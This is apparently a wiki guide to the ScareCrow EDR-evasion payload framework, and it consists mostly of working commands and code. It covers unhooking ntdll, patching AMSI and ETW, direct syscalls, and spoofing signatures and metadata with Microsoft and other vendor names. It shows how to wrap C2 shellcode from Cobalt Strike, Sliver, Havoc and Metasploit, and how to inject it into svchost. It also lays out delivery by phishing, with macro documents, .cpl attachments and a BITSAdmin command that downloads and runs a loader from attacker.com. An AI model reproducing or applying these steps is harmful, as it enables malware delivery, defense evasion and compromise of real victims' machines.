ScareCrow Wiki

BEFORE EDR hook (clean ntdll on disk):
NtAllocateVirtualMemory:
  MOV EAX, 0x12      ; syscall number into EAX
  SYSCALL            ; jump to kernel
  RET

AFTER EDR hook (hooked ntdll in memory):
NtAllocateVirtualMemory:
  JMP 0x7ff812340000  ; jump to EDR analysis engine
  NOP
  NOP
  ...

# Clone the active repo
git clone https://github.com/Tylous/ScareCrow
cd ScareCrow

# Install Go module dependencies
go get github.com/fatih/color
go get github.com/yeka/zip
go get github.com/josephspurrier/goversioninfo
go get github.com/Binject/debug/pe
go get github.com/awgh/rawreader

# Build the binary
go build ScareCrow.go

# Verify it works
./ScareCrow -h

# Cross-compilation and code signing tools
sudo apt update
sudo apt install -y golang mingw-w64 openssl osslsigncode

# Install Garble (Go binary obfuscator)
go install mvdan.cc/garble@latest

# Verify garble is in PATH
export PATH=$PATH:$(go env GOPATH)/bin
garble --version

 Attacker Machine (Linux)
 ┌────────────────────────────────────────────────────────────┐
 │  1. C2 generates raw shellcode (beacon.bin)                │
 │  2. ScareCrow encrypts shellcode (AES/ELZMA/RC4)           │
 │  3. Templatization: randomize all variable/func names      │
 │  4. Loader code generated from templates + embedded SC     │
 │  5. Garble-compiled via mingw-w64 → Windows DLL/EXE        │
 │  6. Code signed (fake/cloned/valid cert via LimeLighter)   │
 │  7. File attributes spoofed (.syso resource injection)     │
 └────────────────────────────────────────────────────────────┘
                            │ deliver
                            ▼
 Target Machine (Windows)
 ┌────────────────────────────────────────────────────────────┐
 │  8.  Loader runs inside trusted process (rundll32, etc.)   │
 │  9.  EDR hooks flushed (Disk or KnownDLLs method)          │
 │  10. AMSI.dll patched → all scan results = clean           │
 │  11. ETW syscalls patched → telemetry silenced             │
 │  12. Shellcode decrypted at runtime                        │
 │  13. Direct syscalls: NtAllocateVirtualMemory              │
 │  14. Direct syscalls: NtProtectVirtualMemory (RX)          │
 │  15. Shellcode executes → C2 beacon established            │
 └────────────────────────────────────────────────────────────┘

1. Open disk DLL → read clean .text section bytes
2. Map target DLL already loaded in current process memory
3. VirtualProtect(.text region) → RW permissions
4. Copy clean .text bytes over hooked in-memory bytes
5. VirtualProtect(.text region) → restore original (RX) permissions

// Pseudocode
HANDLE hSection;
NtOpenSection(&hSection, SECTION_MAP_READ | SECTION_MAP_EXECUTE, 
              &oa);  // oa points to L"\\KnownDlls\\ntdll.dll"

PVOID pBase = NULL;
NtMapViewOfSection(hSection, GetCurrentProcess(), &pBase, ...);

// Extract .text section from mapped view
// Overwrite hooked .text in loaded DLL
NtProtectVirtualMemory(..., PAGE_EXECUTE_READ_WRITE, ...);
memcpy(hookedTextBase, cleanTextBase, textSectionSize);
NtProtectVirtualMemory(..., PAGE_EXECUTE_READ, ...);

./ScareCrow -I payload.bin -encryptionmode AES     # default
./ScareCrow -I payload.bin -encryptionmode ELZMA
./ScareCrow -I payload.bin -encryptionmode RC4

# Enable sandbox check — only execute if machine is domain-joined
./ScareCrow -I payload.bin -sandbox -domain acme.corp

; Overwrite AmsiScanBuffer() with:
mov eax, 0x80070057   ; E_INVALIDARG HRESULT
ret                   ; return immediately

; Result: every AMSI scan returns E_INVALIDARG
; AMSI_RESULT stays 0 (AMSI_RESULT_CLEAN)
; Security products see "clean" for every scan

# AMSI patching is ON by default
./ScareCrow -I payload.bin                  # AMSI patched
./ScareCrow -I payload.bin -noamsi          # AMSI patching disabled

xor rax, rax    ; zero out return value
ret             ; return ERROR_SUCCESS (0)
                ; callers don't crash, events silently discarded

# ETW patching is ON by default
./ScareCrow -I payload.bin                  # ETW patched
./ScareCrow -I payload.bin -noetw           # ETW patching disabled

Your code → NtAllocateVirtualMemory (ntdll.dll) → EDR hook → kernel

Your code → inline syscall stub → kernel (EDR hook bypassed entirely)

NtAllocateVirtualMemory:
    mov r10, rcx
    mov eax, 0x18      ; syscall number (Windows version specific)
    syscall
    ret

// Build 1 payload might contain:
func xKmrPqstLBvWnYd() { ... }
var AhQjXpRtNmvKsWz = ...

// Build 2 payload from same shellcode:
func vNzYqRtWpLkBmXj() { ... }
var TsPxKqMnRvJwYzL = ...

# Without garble literal obfuscation (faster compile)
./ScareCrow -I payload.bin -Loader binary

# With garble literal obfuscation (slower, better evasion)
./ScareCrow -I payload.bin -Loader binary -obfu

# Fake cert signed as microsoft.com
./ScareCrow -I payload.bin -Loader binary -domain www.microsoft.com

# Clone certificate from a legitimate signed DLL
./ScareCrow -I payload.bin -Loader binary -clone /usr/lib/x86_64-linux-gnu/libssl.so.1.1

# Use your own valid PFX cert
./ScareCrow -I payload.bin -Loader binary -valid /path/to/mycert.pfx

./ScareCrow -I <shellcode.bin> [options]

# Generate a CPL loader with a BITS delivery artifact
./ScareCrow -I payload.bin -Loader control -delivery bits \
  -url http://192.168.1.100/speech.cpl -domain google.com

# Generate a WScript loader with an Office macro artifact
./ScareCrow -I payload.bin -Loader wscript -delivery macro \
  -url http://attacker.com/loader.js -domain adobe.com

1. Loader unhooks its own process (EDR hooks removed in parent)
2. Spawns specified target process (e.g., svchost.exe)
3. Enumerates loaded DLLs in remote process
4. Writes clean .text sections into remote process via WriteProcessMemory
   (uses debugger-mode permission bypass — no VirtualProtect on remote)
5. Injects shellcode into now-unhooked remote process
6. Executes shellcode in remote process thread

./ScareCrow -I payload.bin -Loader wscript -Exec ProcessInjection \
  -injection "C:\\Windows\\System32\\svchost.exe" \
  -encryptionmode AES -domain adobe.com

Attacks → Packages → Windows Executable (S)
  └── Listener: [your listener]
  └── Output: Raw
  └── ☑ Use x64 Payload         ← REQUIRED
  └── Save as: beacon.bin

./ScareCrow -I beacon.bin -Loader control -sandbox -domain acme.corp \
  -encryptionmode AES -clone /path/to/signed.dll

# Start listeners on teamserver
sliver > mtls --lhost 192.168.1.100 --lport 443
sliver > https --lhost 192.168.1.100 --lport 8443

# Generate raw shellcode implant
sliver > generate --mtls 192.168.1.100:443 \
         --os windows \
         --arch amd64 \
         --format shellcode \
         --save /tmp/sliver_payload.bin

# Feed into ScareCrow
./ScareCrow -I /tmp/sliver_payload.bin -Loader wscript \
  -encryptionmode ELZMA -domain google.com -obfu

Attack → Payload → [Configure listener]
  └── Arch: x64
  └── Format: Windows Shellcode
  └── Export → save as havoc_payload.bin

./ScareCrow -I havoc_payload.bin -Loader excel \
  -Exec NtQueueApcThreadEx -encryptionmode AES \
  -domain microsoft.com -sandbox -domain contoso.corp

# Generate raw shellcode
msfvenom -p windows/x64/meterpreter/reverse_https \
  LHOST=192.168.1.100 LPORT=443 \
  -f raw -o msf_payload.bin

# Wrap with ScareCrow
./ScareCrow -I msf_payload.bin -Loader binary \
  -encryptionmode AES -domain adobe.com -obfu

./ScareCrow -I payload.bin

./ScareCrow -I payload.bin -Loader control \
  -sandbox -domain microsoft.com \
  -encryptionmode AES

./ScareCrow -I payload.bin -Loader wscript \
  -Exec NtQueueApcThreadEx \
  -encryptionmode ELZMA \
  -domain acme.corp

./ScareCrow -I payload.bin -Loader excel \
  -clone /path/to/legitimate_signed.dll

./ScareCrow -I payload.bin -Loader binary \
  -Exec ProcessInjection \
  -injection "C:\\Windows\\System32\\svchost.exe" \
  -domain contoso.com

./ScareCrow -I payload.bin -Loader binary \
  -obfu \
  -encryptionmode ELZMA \
  -clone /usr/share/windows-resources/binaries/plink.exe \
  -sandbox -domain acme.corp

./ScareCrow -I payload.bin -Loader msiexec \
  -delivery bits \
  -url http://192.168.1.100/payload.dll \
  -domain google.com

./ScareCrow -I payload.bin -Loader control \
  -delivery macro \
  -url http://attacker.com/Powerpnt.exe \
  -domain microsoft.com

./ScareCrow -I payload.bin -Loader binary -noamsi -noetw

./ScareCrow -I payload.bin -Loader binary -console

./ScareCrow -I payload.bin -Loader binary -configfile main.json

{
  "FileVersion": "10.0.19041.1",
  "CompanyName": "Microsoft Corporation",
  "FileDescription": "Windows Security Health Service",
  "InternalName": "SecurityHealthSystray",
  "LegalCopyright": "© Microsoft Corporation. All rights reserved.",
  "OriginalFilename": "SecurityHealthSystray.exe",
  "ProductName": "Microsoft® Windows® Operating System",
  "ProductVersion": "10.0.19041.1"
}

./ScareCrow -I payload.bin -Loader binary \
  -configfile main.json \
  -domain microsoft.com

# Clone and build LimeLighter
git clone https://github.com/Tylous/Limelighter
cd Limelighter
go get github.com/fatih/color
go build Limelighter.go

# Sign with a fake domain certificate
./LimeLighter -Domain www.microsoft.com -I unsigned.exe -O signed.exe

# Sign with a valid PFX certificate
./LimeLighter -Real /path/to/cert.pfx -Password "certpassword" \
  -I unsigned.exe -O signed.exe

# Verify a signed file's certificate
./LimeLighter -Verify signed.exe

Target → Redirector (NGINX/Apache) → CDN/Cloudflare → Teamserver
             ↓
         Filter non-implant traffic (block scanners, bots)
         Serve decoy content to unexpected User-Agents

# Example NGINX redirector rule — only forward known implant User-Agents
if ($http_user_agent !~* "Mozilla/5.0.*Windows NT") {
    return 404;
}
proxy_pass http://TEAMSERVER_IP:PORT;

https://github.com/optiv/Yara-Rules

# 1. Generate raw shellcode from C2 (Sliver example)
sliver > generate --mtls 192.168.1.100:443 --os windows --arch amd64 \
         --format shellcode --save /tmp/beacon.bin

# 2. Build CPL loader with domain evasion + encryption
./ScareCrow -I /tmp/beacon.bin \
  -Loader control \
  -sandbox \
  -domain microsoft.com \
  -encryptionmode AES \
  -clone /usr/lib/x86_64-linux-gnu/libssl.so.1.1

# 3. Host on HTTPS infra
sudo python3 -m http.server 443 --directory ./output/
# (use nginx + certbot for real ops)

# 4. Deliver via phishing email with .cpl attachment or link
#    e.g., "Please update your compliance certificate: speech.cpl"

./ScareCrow -I beacon.bin -Loader wscript \
  -delivery bits \
  -url https://cdn.attacker.com/loader.js \
  -domain google.com

# BITSAdmin command generated (run on victim):
# bitsadmin /transfer job /download /priority high https://cdn.attacker.com/loader.js
# %APPDATA%\loader.js && wscript %APPDATA%\loader.js

./ScareCrow -I stage2.bin \
  -Loader binary \
  -Exec ProcessInjection \
  -injection "C:\\Windows\\System32\\svchost.exe" \
  -obfu \
  -encryptionmode ELZMA \
  -domain adobe.com

# 1. Generate XLL loader with VBA macro dropper
./ScareCrow -I payload.bin \
  -Loader excel \
  -delivery macro \
  -url https://attacker.com/Powerpnt.exe \
  -domain microsoft.com \
  -encryptionmode AES \
  -obfu

# 2. Paste generated VBA macro into Word/Excel document
# 3. Send phishing email with malicious document

# Generate safe test payload (calc.exe shellcode)
msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin

# Wrap with ScareCrow for controlled EDR bypass testing
./ScareCrow -I calc.bin -Loader binary \
  -encryptionmode AES \
  -domain testing.local \
  -console

# Run on test Windows VM with EDR enabled
# Verify: calc.exe opens, no EDR alert fires